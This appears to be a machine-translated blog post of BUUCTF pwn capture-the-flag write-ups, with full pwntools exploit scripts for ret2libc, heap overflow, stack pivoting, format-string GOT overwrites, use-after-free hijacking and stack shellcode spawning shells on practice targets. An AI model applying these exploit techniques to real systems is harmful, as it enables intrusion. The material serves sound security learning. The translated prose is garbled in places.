当前位置:网站首页>buuctf-pwn write-ups (7)
buuctf-pwn write-ups (7)
2022-07-02 14:36:00 【L3H_ CoLin】
buu054-jarvisoj_level1
It's that again jarvisoj Peculiar “ intestinal obstruction ” problem , The remote message will not come until it sends something , This question was originally written in the stack shellcode Then return to the stack to execute , But it can also be used ret2Libc.
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26705)
elf = ELF('./pwn')
io.sendline(cyclic(0x88+4) + p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['printf']) + p32(4))
printf = u32(io.recv(4))
libc = LibcSearcher('printf', printf)
base = printf - libc.dump('printf')
print(hex(base))
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
io.sendline(cyclic(0x88+4) + p32(sys) + p32(0xdeadbeef) + p32(binsh))
io.interactive()
buu055-babyfengshui_33c3_2016
A topic to investigate the arrangement of piles , You can add up to 50 Users , Each user's information uses two chunk To preserve . first chunk preservation description, Size can be freely chosen , the second chunk Save the first chunk Address plus user name , The size is fixed to 0x80( Case sensitive ).
You need to focus on the options 0 Add a check in the function used to read names in the user .
This place checks the size relationship between the two heap addresses . What exactly is this examination about ?
ptr Deposit 50 individual user_info The pointer , that &ptr+index The user name should be written user_info The address of , Look up the assembly code and find the following name[120] I don't know why , So debugging is the best way to understand . Debugging found , What we actually check here is : One user_info in desc Whether the input length of exceeds the limit . Its comparison method is : First type desc The length of ( This is actually repeated input , The length has been entered once before ,desc Of chunk Has been allocated ), Then the program compares "desc+ length " Does this address exceed user_info The address of . because desc Precede user_info Distribute , So check like this . As assigned desc The writable header address is 0x8049208, The case size is 0x80,user_info The writable header address of is 0x8049298, In the writing desc The input size is 0x40, So this check compares 0x8049208+0x40 and 0x804929c(user_info Of size) Size .
So it seems , The idea of bypassing this check is very clear . We find a way to make these two chunk The allocated distance is a little farther , There are others in the middle chunk, and desc Distribution in user_info Low address location of . In this way, we can write desc To cover some chunk.
As shown in the figure below, it is a simple utilization idea .
By heap overflow user_info #3 Medium desc Replace the pointer with .got Table address , Get free Calculate after function address system Address , Write back to got In the table , call free Function can be executed system(‘/bin/sh’)
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29858)
elf = ELF('./pwn')
def add(size, desclen, desc, name):
io.sendlineafter(b'Action: ', b'0')
io.sendlineafter(b'size of description: ', str(size).encode())
io.sendlineafter(b'name: ', name)
io.sendlineafter(b'text length: ', str(desclen).encode())
io.sendlineafter(b'text: ', desc)
def delete(index):
io.sendlineafter(b'Action: ', b'1')
io.sendlineafter(b'index: ', str(index).encode())
def show(index):
io.sendlineafter(b'Action: ', b'2')
io.sendlineafter(b'index: ', str(index).encode())
def update(index, desclen, desc):
io.sendlineafter(b'Action: ', b'3')
io.sendlineafter(b'index: ', str(index).encode())
io.sendlineafter(b'text length: ', str(desclen).encode())
io.sendafter(b'text: ', desc)
add(0x20, 0x20, b'/bin/sh', b'colin') # user #0
add(0x20, 0x20, b'colin', b'colin') # user #1
add(0x20, 0x20, b'colin', b'colin') # user #2
delete(1)
payload = cyclic(0x80)
payload += p32(0) # prev size of user_#2.desc
payload += p32(0x29) # size of user_#2.desc
payload += b'\x00' * 0x20
payload += p32(0) # prev size of user_#2.userinfo
payload += p32(0x89) # size of user_#2.userinfo
payload += p32(elf.got['free']) # change the desc pointer to .plt.got
add(0x80, 0x100, payload, b'colin') # user #3, desc chunk = userinfo #1
show(2)
io.recvuntil(b'description: ')
free = u32(io.recv(4))
print(hex(free))
libc = LibcSearcher('free', free)
base = free - libc.dump('free')
sys = base + libc.dump('system')
update(2, 4, p32(sys))
delete(0)
io.interactive()
buu056-ciscn_2019_s_4
This question vuln There are two inputs in the function , The first input we pass printf Pull it out ebp The address of , We can calculate the address of the string we entered , Then the second input will ebp Modify it into the string , Return to a function , In the absence of push ebp Under the premise of ,leave The instruction will be carried out first mov esp, ebp operation , take esp Force up to the middle of our string , take system Write the address into the string getshell. Note the string ’/bin/sh’ To write system Address high address , prevent system Function internal override string .
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 28199)
elf = ELF('./pwn')
io.sendline(cyclic(40-1))
io.recvuntil('Hello, ')
io.recv(40)
ebp = u32(io.recv(4))
print(hex(ebp))
buf_addr = ebp - 0x38
payload = p32(elf.plt['system']) # offset: 0x0
payload += p32(elf.symbols['main']) # offset: 0x4
payload += p32(buf_addr + 0xC) # offset: 0x8
payload += b'/bin/sh\x00' # offset: 0xC
payload += cyclic(0x14) # 0ffset: 0x14
payload += p32(buf_addr - 4) # ebp
payload += p32(0x8048562) # ret addr: leave; ret
io.send(payload)
io.interactive()
buu057-hitcontraining_magicheap
And the 39 The questions are exactly the same , except magic and heaparray Your address is missing 0x20. skip .
buu058-axb_2019_fmt32
Format string questions . First, find the offset of the format string through debugging :
Use the format string to disclose got Table address , And then use fmtstr_payload The function structure payload, take printf Functional got Change the table address to system.( There is a certain probability that the following code will fail , I don't know why )
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29861)
elf = ELF('./pwn')
io.sendlineafter(b'Please tell me:', b'a%9$s' + p32(elf.got['alarm']))
io.recvuntil(b'Repeater:a')
alarm = u32(io.recv(4))
print(hex(alarm))
libc = LibcSearcher('alarm', alarm)
base = alarm - libc.dump('alarm')
print(hex(base))
sys = base + libc.dump('system')
print(hex(sys))
payload = b'|| deadbeef||'
payload += fmtstr_payload(11, {
elf.got['printf']: sys}, numbwritten=22)
print(payload)
io.sendlineafter(b'Please tell me:', payload)
io.sendline(b'|| /bin/sh')
io.interactive()
buu059-ciscn_2019_n_3
After analyzing the source program , The data structure used in this problem can be obtained as follows :
records The global variable is chunk_info* Array of . It can store integer or string .
In both memory free functions, the corresponding pointer in the global variable is not deleted , May lead to UAF.
Because the printed content uses chunk_info Function pointer in , Therefore, any code can be executed by modifying this function pointer .
Use here UAF Modify function pointer , modify free Function pointer to system, modify print The function pointer is a string ’sh\x00\x00’, In this way, it can be executed when deleting "system(‘sh’)".
from pwn import *
context.log_level='debug'
io = process('./pwn')
elf = ELF("./pwn")
def add(index, type, content, length=0):
io.sendlineafter(b'CNote > ', b'1')
io.sendlineafter(b'Index > ', str(index).encode())
io.sendlineafter(b'Type > ', str(type).encode())
if type == 2:
io.sendlineafter(b'Length > ', str(length).encode())
io.sendlineafter(b'Value > ', content)
def delete(index):
io.sendlineafter(b'CNote > ', b'2')
io.sendlineafter(b'Index > ', str(index).encode())
def dump(index):
io.sendlineafter(b'CNote > ', b'3')
io.sendlineafter(b'Index > ', str(index).encode())
add(0, 2, b'/bin/sh', 0x10)
add(1, 1, b'123456')
delete(0)
delete(1)
add(2, 2, b'sh\x00\x00' + p32(elf.plt['system']), 0xc)
delete(0)
io.interactive()
buu060-wustctf2020_closed
This question is actually for us to understand linux Standard input and output . After opening a terminal , For this terminal, there is standard input ( The file descriptor is 0)、 standard output (1) And standard error output (2) Three criteria IO flow . The file descriptors of these three streams point to a place , That is, the open console . Understand the problem solution exec 1>&0 The key is to treat the console program itself as a file , This file can be entered through our keyboard , You can also output , The output can be seen by us , But the output itself is still in this file . The program turns off standard output and standard error output , But the input is not closed , The three file descriptors originally point to this console program , Now we just need to re point the standard input to the console , That is, point to where the standard input points .
As shown in the figure below , This console program is pycharm Internal console , Its standard input 、 Output 、 The error output points to /dev/pts/2. that exec 1>&0 It's actually equivalent to exec 1>/dev/pts/2.
We use exec 1>&0 Turn on the output stream , Take a look at where the standard input stream points , Found to be /dev/pts/2
therefore , The following inputs can also open the output stream :exec 1>/dev/pts/2( Local can , Not remotely because there is no file command )
buu061-pwnable_start
The source program of this problem is very simple , It should be written in assembly , Just two functions . Two system calls were made , One output, one input , Stack executable .
It is observed that the input length is greater than the output , You can return to the output by syscall The code above , Skip pair output length mov dl, 14h Modification of , And directly execute the following mov bl,1; mov al,4, You can achieve output 0x3C Bytes of data , To get the address of the stack .
After printing out the stack address, you can also output once , Can be shellcode write in , And then execute shellcode that will do . After debugging, we found that shellcode Yes 44 byte , write in shellcode Then it happens to be the writing position of the return address . But here are a few points to note :
- You cannot write the return address directly to shellcode after . Although this can successfully return to shellcode, But because of shellcode There are a lot of push Instructions , and shellcode At the low address of the return address , It can lead to shellcode The latter part of is covered , Unable to execute normally .
- Can't directly shellcode Write after the return address , Because the input length can only be 0x3C byte , After the return address, you can only write 0xC Bytes , Not long enough .
So consider writing a small jump after the return address gadget:sub esp, 0x100; jmp ecx. Notice when the execution comes here ecx The value of and call input system call ecx The values are equal , therefore jmp ecx Be able to execute directly shellcode. and sub esp,0x100 Is to force the stack to move down , prevent shellcode Be overwritten . such , The return address should be written sub esp,0x100 The address of .

exp:
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
io = process('./pwn')
payload = cyclic(20)
payload += p32(0x804808B)
io.sendafter(b'Let\'s start the CTF:', payload)
io.recvuntil(p32(0x804808b))
stack_addr = u32(io.recv(4))
payload = asm(shellcraft.sh())
payload += p32(stack_addr + 0x14)
payload += asm("sub esp, 0x100;"
"jmp ecx;")
io.send(payload)
io.interactive()
边栏推荐
- [QNX Hypervisor 2.2用户手册]6.3 Guest与外部之间通信
- Fabric. JS zoom canvas
- Fabric.js 元素被选中时保持原有层级
- Fabric.js 手动加粗文本iText
- Adhere to the foundation of 20 minutes go every day II
- fatal: unsafe repository is owned by someone else 的解决方法
- Advanced usage of C language -- function pointer: callback function; Conversion table
- tmall.product.schema.get( 产品信息获取schema获取 ),淘宝店铺上传商品API接口,淘宝商品发布接口,淘宝商品上传API接口,店铺上传接口,oAuth2.0接口
- obsidian安装第三方插件——无法加载插件
- 富文本编辑器添加矢量公式(MathType for TinyMCE ,可视化添加)
猜你喜欢

fatal: unsafe repository is owned by someone else 的解决方法

天猫商品详情接口(APP,H5端)

抓包工具fiddler学习

Uniapp automated test learning

taobao.trade.memo.add( 对一笔交易添加备注 )接口,淘宝店铺插旗接口,淘宝订单插旗API接口,oAuth2.0接口

Stm32-dac Experiment & high frequency DAC output test

Method of creating linked server for cross server data access

How kaggle uses utility script

Xilinx Vivado set *.svh as SystemVerilog Header

Onnx+tensorrt: write preprocessing operations to onnx and complete TRT deployment
随机推荐
taobao.trade.get( 获取单笔交易的部分信息),淘宝店铺订单接口,淘宝oAuth2.0接口,淘宝R2接口代码对接分享
Makefile 分隔文件名与后缀
Adhere to the foundation of 20 minutes go every day II
Design and implementation of car query system based on php+mysql
什么是 eRDMA?丨科普漫画图解
PyQt5_ Qscrollarea content is saved as a picture
Check password
Teamtalk source code analysis win client
C crystal report printing
The use of TestNG, the testing framework (II): the use of TestNG XML
【apipost】使用教程
[to be continued] [UE4 notes] l5ue4 model import
Tencent cloud tstor unified storage passed the evaluation of the first batch of basic file storage capabilities of the ICT Institute
php链表创建和遍历
How many knowledge points can a callable interface have?
【空间&单细胞组学】第1期:单细胞结合空间转录组研究PDAC肿瘤微环境
NLA自然语言分析,让数据分析更智能
Do you know that there is an upper limit on the size of Oracle data files?
Yolov3 & yolov5 output result description
PTA题库 ===>复数四则运算,一帮一,考试座位号(7-73)